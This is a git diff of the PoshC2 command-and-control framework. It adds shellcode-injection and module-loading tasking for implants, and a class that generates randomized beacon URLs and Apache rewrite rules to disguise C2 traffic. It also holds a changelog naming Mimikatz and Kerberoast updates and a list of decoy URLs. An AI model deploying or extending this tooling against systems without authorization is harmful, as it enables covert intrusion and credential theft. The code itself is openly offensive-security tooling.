if( td.className.match(/output|Hostname|IpAddress|Key|FirstSeen|LastSeen|PID|Proxy|Arch|Domain|Alive|Sleep|ModsLoaded|Pivot|id|taskid|randomuri|command|output|prompt|ImplantID|RandomURI|User|Hostname|IpAddress|Key|FirstSeen|LastSeen|PID|Proxy|Arch|Domain|Alive|Sleep|ModsLoaded|Pivot|Label/) ){
|
||||
td.className += ' hidden';
|
||||
td.innerHTML = '<div>' + td.innerHTML + '</div>';
|
||||
td.onclick = toggleHide
|
||||
|
@ -393,6 +393,7 @@ __________ .__. _________ ________
|
|||
HTMLPost = HTMLPost.replace("<table border=\"1\" class=\"dataframe table\">","<table id=\"PoshTable\" border=\"1\" class=\"PoshTableClass\">")
|
||||
HTMLPost = HTMLPost.replace("<th>CompletedTaskID</th>","<th class=\"CompletedTaskID\">ID</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>ID</th>","<th class=\"ID\">ID</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>Label</th>","<th class=\"Label\">Label</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>TaskID</th>","<th class=\"TaskID\">TaskID</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>RandomURI</th>","<th class=\"RandomURI\">RandomURI</th>")
|
||||
HTMLPost = HTMLPost.replace("<th>Command</th>","<th class=\"Command\">Command</th>")
|
||||
|
|
252
Payloads.py
252
Payloads.py
File diff suppressed because one or more lines are too long
10
Tasks.py
10
Tasks.py
|
@ -22,6 +22,8 @@ def newTask(path):
|
|||
|
||||
if (command.lower().startswith("$shellcode64")) or (command.lower().startswith("$shellcode64")) :
|
||||
print "Loading Shellcode",Colours.END
|
||||
elif (command.lower().startswith("run-exe core.program core inject-shellcode")) :
|
||||
print command[0:150]+"......TRUNCATED......"+command[-80:],Colours.END
|
||||
elif (command.lower().startswith("$shellcode86")) or (command.lower().startswith("$shellcode86")) :
|
||||
print "Loading Shellcode",Colours.END
|
||||
elif "upload-file" in command.lower():
|
||||
|
@ -35,10 +37,16 @@ def newTask(path):
|
|||
if a[2].startswith("loadmodule"):
|
||||
try:
|
||||
module_name = (a[2]).replace("loadmodule ","")
|
||||
if ".exe" in module_name:
|
||||
modulestr = load_module_sharp(module_name)
|
||||
elif ".dll" in module_name:
|
||||
modulestr = load_module_sharp(module_name)
|
||||
else:
|
||||
modulestr = load_module(module_name)
|
||||
command = "loadmodule%s" % modulestr
|
||||
except Exception as e:
|
||||
print "Cannot find module, loadmodule is case sensitive!"
|
||||
print e
|
||||
if commands:
|
||||
commands += "!d-3dion@LD!-d" + command
|
||||
else:
|
||||
|
@ -47,8 +55,6 @@ def newTask(path):
|
|||
|
||||
if commands is not None:
|
||||
multicmd = "multicmd%s" % commands
|
||||
|
||||
|
||||
try:
|
||||
responseVal = encrypt(EncKey, multicmd)
|
||||
except Exception as e:
|
||||
|
|
|
@ -9,7 +9,7 @@ echo """__________ .__. _________ ________
|
|||
| | ( <_> )___ \| Y \ \ \____/ \
|
||||
|____| \____/____ >___| / \______ /\_______ \
|
||||
\/ \/ \/ \/
|
||||
=============== v4.0 www.PoshC2.co.uk ============="""
|
||||
================= www.PoshC2.co.uk ================="""
|
||||
|
||||
echo ""
|
||||
echo "[+] Updating PoshC2_Python"
|
||||
|
|
|
@ -0,0 +1,123 @@
|
|||
#!/usr/bin/env python
|
||||
import re
|
||||
import random
|
||||
import urlparse
|
||||
import os.path
|
||||
|
||||
class UrlConfig:
|
||||
#urlConfig class represents the necessary URL information for PoshC2.
|
||||
|
||||
def __init__(self, filePath = "", wordList="wordlist.txt"):
|
||||
#by default a filepath is specified when instantiating the object
|
||||
#selecting urls from the old list.
|
||||
#Feel free to change it to work from a fixed list of known URLs
|
||||
#works a treat copying and pasting from burp.
|
||||
self.filePath = filePath
|
||||
self.urlList = []
|
||||
self.sockList = []
|
||||
self.sockRewriteList = []
|
||||
self.urlRewriteList = []
|
||||
self.rewriteFile = "rewrite-rules.txt"
|
||||
if filePath != "":
|
||||
self.wordList = ""
|
||||
self.getUrls()
|
||||
else:
|
||||
#If you remove the filepath, you'll get random word generation based on a wordlist.
|
||||
#Default Example Wordlist from:
|
||||
#https://raw.githubusercontent.com/dominictarr/random-name/master/first-names.txt
|
||||
#Could use urllib to request this live, but opted for local storage here.
|
||||
self.wordList = open(wordList).read().splitlines()
|
||||
self.getRandomUrls()
|
||||
|
||||
self.qcUrl = ""
|
||||
self.connUrl = ""
|
||||
self.getSockUrls() # Ordering is important. getUrls/getRandomUrls before getSockUrls or getSockurls has nothing to operate on.
|
||||
self.createRewriteRules()
|
||||
self.createSockRewriteRules()
|
||||
|
||||
#Internal functions - Intended to generate the various items.
|
||||
|
||||
def createSockRewriteRules(self):
|
||||
#Setter
|
||||
for sockurl in self.sockList:
|
||||
self.sockRewriteList.append("RewriteRule ^/" + urlparse.urlparse(sockurl).path + "(.*) http://${SharpSocks}/" + urlparse.urlparse(sockurl).path + "$1 [NC,L,P]")
|
||||
|
||||
def createRewriteRules(self):
|
||||
#Setter
|
||||
for url in self.urlList:
|
||||
self.urlRewriteList.append("RewriteRule ^/" + urlparse.urlparse(url).path + "(.*) https://${PoshC2}/" + urlparse.urlparse(url).path + "$1 [NC,L,P]")
|
||||
|
||||
def getSockUrls(self):
|
||||
sock1 = random.choice(self.urlList)
|
||||
self.urlList[:] = (value for value in self.urlList if value != sock1)
|
||||
sock2 = random.choice(self.urlList)
|
||||
self.urlList[:] = (value for value in self.urlList if value != sock2)
|
||||
self.sockList = [ sock1, sock2 ]
|
||||
|
||||
def process(self,line):
|
||||
output = urlparse.urlparse(line).path
|
||||
output = output.rpartition('/')[0]
|
||||
output = output.replace("'", "")
|
||||
if output != '':
|
||||
if output[0] == "/":
|
||||
output = output.lstrip('/')
|
||||
if output[-1] != "/":
|
||||
output = output + "/"
|
||||
output = output.replace("'", "")
|
||||
return output
|
||||
|
||||
def getUrls(self):
|
||||
with open(self.filePath, "r") as input:
|
||||
array = []
|
||||
for line in input:
|
||||
toAppend = self.process(line)
|
||||
if toAppend != '':
|
||||
if toAppend != ' ':
|
||||
array.append(self.process(line))
|
||||
self.urlList = list(set(array))
|
||||
|
||||
def generateRandomURL(self):
|
||||
words = self.wordList
|
||||
lengthOfUrl = random.randint(1,10)
|
||||
i = 0 #Length of URL
|
||||
urlStub = ""
|
||||
while i < lengthOfUrl:
|
||||
i = i+1
|
||||
urlStub = urlStub + random.choice(words) + "/"
|
||||
|
||||
if random.randint(0,1) == 1:
|
||||
urlStub = urlStub + random.choice(words) + "?" + random.choice(words) + "=" + random.choice(words)
|
||||
urlStub = urlStub.replace("'","")
|
||||
return urlStub
|
||||
else:
|
||||
urlStub = urlStub.replace("'","")
|
||||
return urlStub
|
||||
|
||||
def getRandomUrls(self):
|
||||
numOfUrls = random.randint(20,75)
|
||||
i = 0
|
||||
while i < numOfUrls:
|
||||
i = i+1
|
||||
self.urlList.append(self.generateRandomURL())
|
||||
|
||||
|
||||
#Outputs - Formatted to work with PoshC2
|
||||
def fetchUrls(self):
|
||||
return '"{0}"'.format('", "'.join(self.urlList))
|
||||
def fetchSocks(self):
|
||||
return '"{0}"'.format('", "'.join(self.sockList))
|
||||
def fetchRewriteRules(self):
|
||||
return self.urlRewriteList
|
||||
def fetchSocksRewriteRules(self):
|
||||
return self.sockRewriteList
|
||||
def fetchQCUrl(self):
|
||||
if self.wordList == "":
|
||||
return random.choice(self.urlList)
|
||||
else:
|
||||
return random.choice(self.urlList) + random.choice(self.wordList) + "?" + random.choice(self.wordList) + "=" + random.choice(self.wordList)
|
||||
def fetchConnUrl(self):
|
||||
if self.wordList == "":
|
||||
return random.choice(self.urlList)
|
||||
else:
|
||||
return random.choice(self.urlList) + random.choice(self.wordList) + "?" + random.choice(self.wordList) + "=" + random.choice(self.wordList)
|
||||
|
|
@ -1,5 +1,20 @@
|
|||
4.6 (26/12/18)
|
||||
==============
|
||||
Added Sharp Implant and corresponding DLLs/Shellcode
|
||||
|
||||
4.5 (19/11/18)
|
||||
==============
|
||||
Removed Invoke-Enum
|
||||
Merged Get-TokenElevationType.ps1 by jmhickman
|
||||
Added TLS Config to Python Server
|
||||
Updated README
|
||||
Updated Get-IPAddress
|
||||
Merged OfflineReportGenerator.py by skahwah
|
||||
Updated to latest PowerUp.ps1
|
||||
Updated INSTALL notes
|
||||
Updated to work with FIPSAlgorithmPolicy
|
||||
Updated to latest Invoke-Kerberoast & Invoke-Mimikatz
|
||||
Removed process start for Netsh.exe on non migrate executable
|
||||
|
||||
4.4 (10/11/18)
|
||||
==============
|
||||
|
|
|
@ -0,0 +1,33 @@
|
|||
http://127.0.0.1/adsense/troubleshooter/1631343/
|
||||
http://127.0.0.1/adServingData/PROD/TMClient/6/8736/
|
||||
http://127.0.0.1/advanced_search?hl=en-GB&fg=
|
||||
http://127.0.0.1/async/newtab?ei=
|
||||
http://127.0.0.1/babel-polyfill/6.3.14/polyfill.min.js=
|
||||
http://127.0.0.1/bh/sync/aol?rurl=/ups/55972/sync?origin=
|
||||
http://127.0.0.1/bootstrap/3.1.1/bootstrap.min.js?p=
|
||||
http://127.0.0.1/branch-locator/search.asp?WT.ac&api=
|
||||
http://127.0.0.1/business/home.asp&ved=
|
||||
http://127.0.0.1/business/retail-business/insurance.asp?WT.mc_id=
|
||||
http://127.0.0.1/cdb?ptv=48&profileId=125&av=1&cb=
|
||||
http://127.0.0.1/cis/marketq?bartype=AREA&showheader=FALSE&showvaluemarkers=
|
||||
http://127.0.0.1/classroom/sharewidget/widget_stable.html?usegapi=
|
||||
http://127.0.0.1/client_204?&atyp=i&biw=1920&bih=921&ei=
|
||||
http://127.0.0.1/load/pages/index.php?t=
|
||||
http://127.0.0.1/putil/2018/0/11/po.html?ved=
|
||||
http://127.0.0.1/q/2018/load.php?lang=en&modules=
|
||||
http://127.0.0.1/status/995598521343541248/query=
|
||||
http://127.0.0.1/TOS?loc=GB&hl=en&privacy=
|
||||
http://127.0.0.1/trader-update/history&pd=
|
||||
http://127.0.0.1/types/translation/v1/articles/
|
||||
http://127.0.0.1/uasclient/0.1.34/modules/
|
||||
http://127.0.0.1/usersync/tradedesk/
|
||||
http://127.0.0.1/utag/lbg/main/prod/utag.15.js?utv=
|
||||
http://127.0.0.1/vs/1/vsopts.js?
|
||||
http://127.0.0.1/vs/site/bgroup/visitor/
|
||||
http://127.0.0.1/w/load.php?debug=false&lang=en&modules=
|
||||
http://127.0.0.1/web/20110920084728/
|
||||
http://127.0.0.1/webhp?hl=en&sa=X&ved=
|
||||
http://127.0.0.1/work/embedded/search?oid=
|
||||
http://127.0.0.1/GoPro5/black/2018/
|
||||
http://127.0.0.1/Philips/v902/
|
||||
|
File diff suppressed because it is too large
Load Diff
Loading…
Reference in New Issue